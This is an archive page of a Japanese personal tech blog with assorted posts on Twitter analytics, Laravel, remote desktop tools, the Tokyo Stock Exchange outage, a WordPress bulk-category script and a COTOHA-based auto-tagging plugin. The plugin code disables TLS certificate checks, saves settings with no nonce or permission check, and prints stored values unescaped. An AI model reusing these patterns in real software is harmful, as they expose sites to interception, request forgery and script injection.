358, 400, ai-model, com, https, lobe, model, ng-image, ok-image, SA, tw-profile, Twitter, zip, アカウント, エクスポート, お裾分け, コード, ショット, スクリーン, スパム, ソース, ソフト, テンソル, フロー, プロフィール, モデル, ラベル, 一般人, , , 何故, 使用, 判定, 動作, 区別, 学習, 提供, , 機械, 画像, 確認, 精度, 結果, 解析,

Twitterのツイートアクティビティ(アナリティクス)って知っている人も多いと思うけど。

2021.04.14

Logging

Twitterのツイートアクティビティ(アナリティクス)って知っている人も多いと思うけど、Gさんのアクセス解析ツールみたいなのがTwitterにもあります。自分の知る所、どこの県からアクセスが有ったとかいう機能はないけれど。つぶやいた事にたいして、どれぐらいの人が呟きを見ているのか?そのつぶやきに反応した人はどれぐらいいるのかなどは確認できるようになっている。

Twitterアナリティクスの見方を覚えてフォロワー数を爆上げしよう!

アクセス解析を見るとどんなことにみんなが興味を持っているかや、どんなつぶやきをすると反応を得ることが出来るかなどがわかりとても勉強になります。ツイッター社もエモーション(感情:ライク)を増やすことを検討中らしいのでアクセス解析とエモーションの反応数を比較するともっとわかりやすくなるかと思います。ちなみに、自分はいいねの数は少ないので、つぶやきの閲覧人数と反応した人数などを参考にしています。

タグ

Twitter, アクセス, アクティビティ, アナリティクス, エモーション, こと, ツール, ツイート, ツイッター, どこ, どれぐらい, みんな, ライク, , , 人数, 勉強, 参考, 反応, 感情, , , 検討, 機能, 比較, , 確認, 自分, 興味, 解析, 閲覧,

Laravelの勉強を始めた結果。

2021.04.08

Logging

Laravelの勉強を始めた結果。案外すんなりと初歩的な部分ははじめて2日ぐらいで覚えた感じです。自分はカートシステムを作りながらララベルを勉強中なのです。本当はECサイトの管理ツールを作ろうと考えたのですが、それにはちょっと時間がかかるので、カートシステムなら工数も少ないじゃないかなと思い、手を付けたのですが案外完成には時間がかかる気がします。会員登録やカートの管理、商品の登録などの機能を充実させる必要があります、なので恐らく自分が飽きたり、諦めたりしなければ今から一ヶ月か二ヶ月後にはDEMO版がリリースできるのではないかと考えています。

尚、どんなものなのかは下記の動画より確認頂けます。テスト稼働後、有償で販売するかオープンソース化するかなどは未だに決めていません。いまはとにかく決済処理が完了するまで作ろうと思っています。

タグ

2, demo, EC, Laravel, いま, カード, サイト, システム, ソース, それ, ツール, テスト, もの, ララベル, リリース, , 下記, , , 会員, 充実, 処理, 勉強, 動画, 商品, 完了, 完成, 工数, 必要, 感じ, , 時間, 有償, 未だ, 本当, 機能, , 決済, , 登録, 確認, 稼働, 管理, 結果, 自分, 販売, 部分,

Chromeリモートデスクトップを触ってみた。

2020.10.20

Logging

How To Set Up Chrome Remote Desktop to WFH

Chromeリモートデスクトップを使ってみて、やはり遅延あるなと感じます(発生)が、WINDOWSからMacの操作とかも出来るので便利ですが、遠隔操作でプログラミングなどをゴリゴリするには不向きです。操作に困っているお客さんに操作の方法を教えるなどには使用できそうです。あと何かトラブルがあったときにブラウザから確認できるなどには向いてそうです。

使用するにはグーグルのGメールのアカウントが必要になります。まずはこちらからアクセスくださいませ。

https://remotedesktop.google.com/home

【Chromeリモートデスクトップ】たった5分で出来る!自宅から会社のパソコンを操作する方法

使い方は上記の動画を参照ください。動画を見たら大体の人はわかるかなと思いますので、この記事には操作方法の手順は割愛させてもらいます。パソコンが2台あるかたは試すと操作感覚がわかるかと思います、因みにスマホやタブレットでも操作が可能です。

Chrome リモートデスクトップ インターネット越え!自宅から職場のパソコンを操作する

タグ

2, Chrome, Mac, Windows, アカウント, アクセス, お客さん, ガタ, グーグル, こちら, スマホ, タブレット, デスクトップ, とき, トラブル, パソコン, ブラウザ, プログラミング, メール, リモート, 上記, 不向き, , 使い方, 使用, 便利, 割愛, 動画, 参照, 可能, 大体, 必要, 感覚, 手順, 操作, 方法, 発生, 確認, 記事, 遅延, 遠隔操作,

東証システム障害の考察してみた。#東証システム障害考察

2020.10.02

Logging

7時4分にアラートが上がっていた?が、現場がアラートに気が付かず、後続の処理が流れ売上の前処理バッチ処理が走った時点なのかな。そこでようやく現場がアラートが出ていることに気づく、この時点でベンダーに現場が支持を仰いだのか、マニュアル通りフェイルオーバーしたんだろう。フェイルオーバーさせたけど失敗。メモリリークがおそらく原因でサーバーの切り替えが出来なかった。ここでベンダーに支持を仰いだ可能性もありそう。そしてベンダーがここらへんから介入して監視端末のログなどを調査したら、メモリリークのエラーログを確認したんだと思う。

※失敗したジョブがどこかに格納されるだろう?。フェイルオーバーさせるより後続の処理をストップさせて、ベンダーに支持を仰いだ方が良かったのかもしれないなと。でも現場は混乱していただろう。

メモリーリークが起きていたと思うと実際は前処理バッチ処理をして失敗していたんだろう。遮断して本日の東証での取引は出来ないようにしたのは正解だと思う。

メモリリークの原因は、メモリの物理的破損だったのでメモリが悪いと判断した。メモリエラーが監視端末のログにクリティカルなエラーとして表示されていたのかは不明だけど、おそらく見落としだと思う。

7時時点で相場や売上の前処理を取り込むのなら、何だか整合性がつきそうです。おそらく手動で前処理が走るのではなく全自動で前処理が走るシステムだったんだろう。従業員が端末の監視も7時からだったのかな?

資料が時系列で書かれていないので良く分からないけど、自分なりに東証システム障害を考察してみた。

現場のヒューマンエラーも疑われるけど、末端の従業員は下請け業者何だろうな?。ベンダーは常時、東証システムの現場にいたのか?とかいろいろな事が問われるかもしれないよな。

おそらく本日から正常に東証は取引できると思います。メモリを取っ替えだろうしメモリチェックもしているだろうし。

最後に頑張れ東証システムの現場!!
末端が解雇されないことを切に願う、これで直ぐに切られたら次の職には絶対につけなくなるよ。でも末端が悪いという事ならば数年後、数ヶ月後にはクビになる可能性は高いかもな。

ちなみに上記が昨日のツイートまとめになります。

タグ

4, 7, アラート, エラー, オーバー, ここ, ここら, こと, サーバー, システム, ジョブ, ストップ, バッチ, フェイル, べん, ベンダー, マニュアル, メモリ, メモリー, リーク, ログ, 介入, 処理, 前処理, 原因, 取引, 可能性, 失敗, 実際, 後続, 支持, , 時点, 本日, 東証, 格納, , 混乱, 現場, 監視, 確認, 端末, 考察, 調査, 遮断, 障害,

ios14のウィジェットをカスタマイズする方法。

2020.09.25

Logging

ios14のウィジェットをカスタマイズする方法を紹介している動画を2つ紹介します。どちらもウィジェットスミス(Widgetsmith)というiosアプリを使用してカスタマイズしています。下記の動画を見ていただければわかるかと思いますが、日本語対応していないので若干、面倒かなと思うかもしれませんが慣れれば簡単です。

ウィジェット定番アプリ「Widgetsmith」の使い方を徹底解説!
【iPhoneホーム画面】iOS14アップデートで秋っぽくおしゃれにカスタマイズ!おすすめアプリ紹介!📱

その他にも、colorwidgetsというアプリもあるそうですね。そのうち、日本語対応のウィジェットアプリがリリースされるとは思いますが、今の処、日本語対応のゴリゴリカスタマイズできるウィジェットアプリはリリースされていないようです。

ウィジェットを「効率的に」設置できる便利アプリをご紹介!

あと自分としてはPaypayの純正のウィジェットが便利だなと思っています。人目で残高確認ができますし、支払いのショートカットとしても優秀かなと思っています。ただ、いま例の問題(不正引き落とし問題・2020/09/25:現在)でチャージが地銀などから出来ない状態が続いているので支払いは控えてます。

〆ios14のウィジェットカスタマイズの方法(手順解説)でした。

タグ

09, 14, 2, 2020, 25, colorwidgets, iOS, Paypay, Widgetsmith, アプリ, いま, ウィジェット, うち, カスタマイズ, ショートカット, スミス, その他, チャージ, どちら, リリース, 下記, 不正, 人目, , 使用, 便利, 優秀, , 動画, 問題, 地銀, 対応, 方法, 日本語, 残高, 現在, 確認, 簡単, 純正, 紹介, 自分, 若干, 面倒,

High Quality sense :)2回目だったりして?

2020.06.29

Logging

Filmed Tokyo Nightscape for Epidemic Sound Filmmaking Competition "SOUNDTRACK YOUR CITY"

この人が撮った映像は凄いなと思います、映像はかなりハイセンスだと感じます。こういうのって習うより慣れろとは言いますが、かなりの本数を取らないと音と映像が上手く合わせれないじゃないかなと思います。

YOUTUBEのカテゴリに入れましたがハイセンスというカテゴリに入れたい動画だと思います。それぐらい自分はこの動画の映像が好きです。ちなみにAUXOUTさんの撮っている映像の中でもこの映像が一番好きです。何度かTwitterでシェアしているので自分の好みなんだって事はコアなユーザーさんなら分かるかもしれませんが・・・。

そして何だか・・・この動画を紹介するの実は2回目だったりしたらごめんなさい。確認していないです…。なのでAUXOUTさんが対談している映像がありますので合わせてご視聴くださいませ!AUXOUTさんの人となりが出ていると思います。

auxoutさんに話し聞いてきた!! vol.1/auxout Interview vol.1 kaba Log#89

最後にチャンネル登録はこちら
https://www.youtube.com/user/auxoutjp/about

タグ

2, AUXOUT, com, High, https, Quality, sense, Twitter, www, youtube, カテゴリ, かなり, コア, シェア, それぐらい, ハイセンス, ユーザー, , , , 人となり, 何度か, 動画, 好み, 対談, 映像, 本数, 確認, 紹介, 自分, 視聴, ,

WPの記事を検索し一括カテゴリ変更する方法。

2020.05.25

Logging

WPの記事を検索し一括カテゴリ変更する方法は下記になります。ワードプレスのwp-load.phpを読み込み、下記のようなソースコードのファイルをcommandで実行すると、カテゴリが任意のカテゴリに変更されます。

重要点はwp_set_post_categoriesの引数です。arrayの配列の数値ですが、この数値をカテゴリIDのナンバーに変更することによってカテゴリが更新されます。

企業でご使用する場合はカテゴリ更新部分を一度、コメントアウトしCSVか何かでうまく記事が抽出できているか確認した後に、更新するようにお願い致します、当然ながら不具合等の苦情は受け付けません。自己責任でご使用くださいな。

尚、この下記のコードの意味がわからないという方は下記のURLからそれぞれのワードプレスようのメソッドが何を意味しているか調べてくださいね。
https://elearn.jp/wpman/

<?php
require_once(__DIR__ . '/../wp-load.php');
if ($argv[0]) {
    $args = array(
        'post_type ' => 'post',
        'posts_per_page' =>-1,
        's' => '映画'
    );
    $posts = get_posts($args);
    foreach ($posts as $val) {
        $href =  get_permalink($val->ID);
		$title = get_the_title($val->ID);
		$cnt++;
		echo $cnt.":".$title."\n".$href."\n";
		wp_set_post_categories($val->ID,array(1,2,3));
    }
}

タグ

-Command, 39, array, categories, CSV, DIR, ID, lt, once, php, POST, require, set, url, wp, wp-load, アウト, お願い, カテゴリ, コード, こと, コメント, ご使用, ソース, それぞれ, ナンバー, ファイル, プレス, メソッド, ワード, 一度, 一括, 下記, 不具合, 任意, 企業, , 何か, 使用, 場合, 変更, 実行, 引数, 当然, , 意味, 抽出, 数値, , 方法, 更新, 検索, 確認, 自己, 苦情, 記事, 責任, 部分, 配列, 重要点,

ブラウザのプッシュ通知が簡単にできちゃうFirebase

2020.03.20

Logging

ブラウザのプッシュ通知が簡単にできちゃうFirebaseのでやり方を簡略的に記載します。

  1. Firebaseにプロジェクトを作成する(グーグルのアカウントが必要)。
  2. firebase cliというパッケージソフトをOSにダウンロードしそのソフトを任意のフォルダの中に移動させて起動させる。Node.jsはインストール済みとする(※手順)。
  3. 試しにホスティングしてみる。ホスティングはプロジェクトの左側の項目よりホスティングをクリックすると手順の説明通り行うと出来ます。
  4. URLより確認し表示されているか確認する。
  5. Cloud Messagingの設定よりFCM でウェブ認証情報を設定するからメッセージング オブジェクトを取得するまでをブラウザで操作し設定を行う。
  6. ローカルに下記のURLよりファイルをダウンロードする。ダウンロードするファイルはfirebase-messaging-sw.js, firebase-logo.png, index.html, main.cssになります。動かない場合は再設定が必要。
    https://github.com/firebase/quickstart-js/tree/f76b14ca00cca48dbfca5c787c0a4ca73eb9857d/messaging
  7. ダウンロードしたファイルはpublicか自分が決めたフォルダに入れる。
  8. index.htmlソースの中に ‘<YOUR_PUBLIC_VAPID_KEY_HERE>’ と記載している部分があるので変更する。
  9. firebase cli より『 firebase deploy』する。
  10. ページを再読み込みして通知を許可する。
  11. Cloud Messagingから送信してみる。
  12. 通知が届くことを確認する。
    ※今回はブラウザのプッシュ通知なのでアプリを追加する際はWEB(</>)を選んでください。
Introducing Firebase Cloud Messaging

ではでは?健闘を祈る?

タグ

cli, Cloud, FCM, Firebase, firebase-logo, firebase-messaging-sw, index, JS, Messaging, node, OS, png, url, アカウント, インストール, ウェブ, オブジェクト, グーグル, クリック, ソフト, ダウンロード, パッケージ, ファイル, フォルダ, プッシュ, ブラウザ, プロジェクト, ホスティング, メッセージング, やり方, ローカル, 下記, , 任意, 作成, 取得, 左側, 必要, 情報, 手順, 操作, 確認, 移動, 簡単, 簡略, 表示, 記載, 設定, 認証, 説明, 起動, 通知, 項目,

NTTのCOTOHA API(コトハAPI)でWordPressの自動タグ生成プラグインを作ってみた。

2020.02.20

Logging

GUIはこんな感じになります。

jp-auto-tagというプラグインをYahoo!APIを使用し作っていましたが

何だか、バージョンが変わるらしくてその対応するのが…。
面倒くさいなぁと感じたので
コトハAPIで同じ感じのものを作ってみました。
尚、jp-auto-tagを使用している方はjp-auto-tagを停止してjp-auto-tag2をご使用ください。また圧縮ファイルを解凍しワードプレスのプラグインフォルダにフォルダごと、アップロードしプラグイン有効にしAPIの設定すると自動タグが生成可能です。

ブログ投稿時にタグが自動生成されますので、確認の際は画面を再読み込みしてご確認ください。

尚、オプションデータは残り続けますので悪しからず?

プラグインのソースコードはこんな感じになります。

<?php
/*
Plugin Name: jp-auto-tag2
Version: 0.1.10
Description: auto jp tag2
Author: taoka toshiaki
Author URI: https://zip358.com/
Plugin URI: https://zip358.com/plugin/jp-auto-tag2.zip
*/
class jp_auto_tag2
{
    public $db_option = "jp_auto_tag2";
    function frm_page2()
    {
        add_menu_page('jp-auto-tag2', 'jp-auto-tag2',  'manage_options', __FILE__, array($this, 'show_text_option_page2'), '', 8);
    }
    function show_text_option_page2()
    {
        wp_enqueue_style('bootstrap', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css', array(), '3.3.6');
        wp_enqueue_script('bootstrap', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js', array(), '3.3.6');
        $options = get_option($this->db_option);
        if (!empty($options)) {
            $Access_Token_Publish_URL = $options["Access_Token_Publish_URL"];
            $API_Base_URL = $options["API_Base_URL"];
            $Client_ID = $options["Client_ID"];
            $Client_secret = $options["Client_secret"];
            $max_keyword_num = $options["max_keyword_num"];
        }
        include_once dirname(__FILE__) . '/jp-auto-tag-tmp2.php';
    }
    function ajax_event2()
    {
        $options["max_keyword_num"] = $obj["max_keyword_num"] = (int)$_POST["max_keyword_num"]<5?5:(int)$_POST["max_keyword_num"];
        $options["Access_Token_Publish_URL"] = $obj["Access_Token_Publish_URL"] = $_POST["Access_Token_Publish_URL"];
        $options["API_Base_URL"] = $obj["API_Base_URL"] = $_POST["API_Base_URL"];
        $options["Client_ID"] = $obj["Client_ID"] = $_POST["Client_ID"];
        $options["Client_secret"] = $obj["Client_secret"] = $_POST["Client_secret"];
        update_option($this->db_option, $options);
        print json_encode($obj);
        die(0);
    }
    function api_tag2($post_id)
    {
        $cuthttp = function ($str = "") {
            if (!$str) return $str;
            return preg_replace("/https?:\/\/[a-zA-Z0-9|%|\?|_|=|-|\.|\/]*$/m", "", $str);
        };
        $post = get_post($post_id);
        $title = $post->post_title;
        $content = strip_tags($post->post_content);
        $document = $title . $cuthttp($content);
        $options = get_option($this->db_option);
        if ($options["Access_Token_Publish_URL"] && $options["Client_ID"] && $options["Client_secret"]) {
            $curl = function ($ptn, $options, $token = "", $token_type = "", $document = "") {
                switch ($ptn) {
                    case "token":
                        $data = [
                            'grantType' => 'client_credentials',
                            'clientId' => $options["Client_ID"],
                            'clientSecret' => $options["Client_secret"],
                        ];
                        $header = [
                            'Content-Type: application/json;charset=UTF-8',
                        ];
                        $url = $options["Access_Token_Publish_URL"];
                        break;
                    case "tag":
                        $data = [
                            'document' => $document,
                            'max_keyword_num'=>$options["max_keyword_num"],
                        ];
                        $header = [
                            'Authorization: ' . ucfirst($token_type) . ' ' . $token,
                            'Content-Type: application/json;charset=UTF-8',
                        ];
                        $url = rtrim($options["API_Base_URL"],"/")."/nlp/v1/keyword";
                        break;
                }
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $url);
                curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');
                curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
                curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
                curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($curl, CURLOPT_HEADER, true);
                $response = curl_exec($curl);
                $header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
                $header = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                $res = (object)json_decode($body, true);
                curl_close($curl);
                return $res;
            };
            $res = $curl("token", $options);
            $access_token = $res->access_token;
            $token_type = $res->token_type;
            if ($options["API_Base_URL"] && $document && $access_token){
                $res = $curl("tag", $options, $access_token, $token_type, $document);
                foreach($res->result as $key=>$val){
                    $tags[] = $val["form"];
                }
                wp_set_post_tags($post_id, implode(",", array_unique($tags)), false);
            }
        }
    }
}
$jp_auto_tag2 = new jp_auto_tag2();
add_action('save_post', array($jp_auto_tag2, 'api_tag2'));
add_action('publish_post', array($jp_auto_tag2, 'api_tag2'));
add_action('admin_menu', array($jp_auto_tag2, 'frm_page2'));
add_action('wp_ajax_ajax_event2', array($jp_auto_tag2, 'ajax_event2'));

<form id="ajax-frm">
<table class="table">
    <tr>
        <td>
            プラグイン説明:jp-auto-tag2はapi.ce-cotoha.comのAPIを<br>
            使用し投稿文を解析しキーワードをタグを抽出します。<br>
        </td>
    </tr>
    <tr>
        <td>
            <a href="https://api.ce-cotoha.com/contents/index.html" target="new">https://api.ce-cotoha.com/contents/index.html</a><br>
            上記のURLよりユーザー登録を行いAPI情報をそれぞれ入力ください。全て必須項目になります。
        </td>
    </tr>
    <tr>
        <td>
            Access Token Publish URL:<br>
            <input type="text" name="Access_Token_Publish_URL" value="<?=$Access_Token_Publish_URL?>"   class="form-control">
        </td>
    </tr>
    <tr>
        <td>
            API Base URL:<br>
            <input type="text" name="API_Base_URL" value="<?=$API_Base_URL?>"   class="form-control">
        </td>
    </tr>
    <tr>
        <td>
            Client ID:<br>
            <input type="text" name="Client_ID" value="<?=$Client_ID?>"   class="form-control">
        </td>
    </tr>
    <tr>
        <td>
            Client_secret:<br>
            <input type="text" name="Client_secret" value="<?=$Client_secret?>"   class="form-control">
        </td>
    </tr>
    <tr>
        <td>
            抽出するキーワード(タグ数)5以上:<br>
            <?php
            $max_keyword_num = (int)$max_keyword_num<5?5:$max_keyword_num;
            ?>
            <input type="text" name="max_keyword_num" value="<?=$max_keyword_num?>"   class="form-control">
        </td>
    </tr>
    <tr>
        <td colspan="2"><input type="button" id="frmsubmit" value="登録する" class="form-control"></td>
    </tr>
</table>
</form>
<script>
    jQuery(function($){
        $("#frmsubmit").on("click",function(){
            var ajaxurl = '<?=admin_url( 'admin-ajax.php');?>';
            var data = $("#ajax-frm").serializeArray();
            data.push({name:"action",value:"ajax_event2"});
            $.ajax({
               type:'POST',
               url:ajaxurl,
               data:data,
               success:function(obj){
                   console.log(obj);
                   alert("更新しました");
               }
            });
        });
    })
</script>

プラグインダウンロードはこちら
https://zip358.com/plugin/jp-auto-tag2.zip

タグ

2, API, COTOHA, GUI, jp-auto-tag, lt, name, NTT, php, plugin, WordPress, Yahoo, アップロード, オプション, コード, ことば, ご確認, ソース, タグ, データ, バージョン, ファイル, フォルダ, プラグイン, プレス, ブログ, もの, ワード, 使用, 停止, 可能, 圧縮, 対応, 感じ, 投稿, , 有効, 生成, 画面, 確認, 自動, 自動生成, 解凍, 設定, ,

知ってます?ちょいWINDOWS10便利機能。IT関係者は!

2020.02.10

Logging

知ってます?ちょいWINDOWS10便利機能。IT関係者は知っているひと多めです、逆に知らないのが少ないぐらいかなと思います。あのカズさんも知ってます。ちなみに仮想デスクトップは1画面の時はとても重宝しますね。これが出来るようになってかなり感激でした。

Windows10を三週間使ってみて便利だった機能!

実際、WIN+CTR+Dはとても良いですよ!コード作業用とかデバック用とか切り替えるとさっと確認できるのはとても良いです。ただ、自分は3画面を使っているので仮想デスクトップはあまり使用していません。会社は2画面だったのでたまに使用したりしていました。ついでに吉田さんの動画も載せときますね。圧縮系の話は良い感じかな。

パソコンの達人が使っているフリーソフト・有料ソフト9個(Windows10)

タグ

, 10, 2, , CTR, IT, win, Windows, カズ, かなり, コード, これ, たま, デスクトップ, デバッグ, 仮想, 会社, 作業, 使用, 便利, 動画, 吉田, 圧縮, 多め, 実際, 感激, , 機能, 画面, 確認, 自分, , , 重宝, 関係者,